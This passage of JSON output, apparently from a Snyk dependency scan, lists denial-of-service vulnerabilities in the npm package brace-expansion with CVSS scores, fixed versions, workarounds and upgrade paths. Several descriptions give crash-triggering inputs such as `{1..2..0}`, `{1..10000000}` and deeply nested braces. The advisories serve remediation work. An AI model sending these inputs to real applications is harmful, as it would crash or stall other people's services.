"@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": 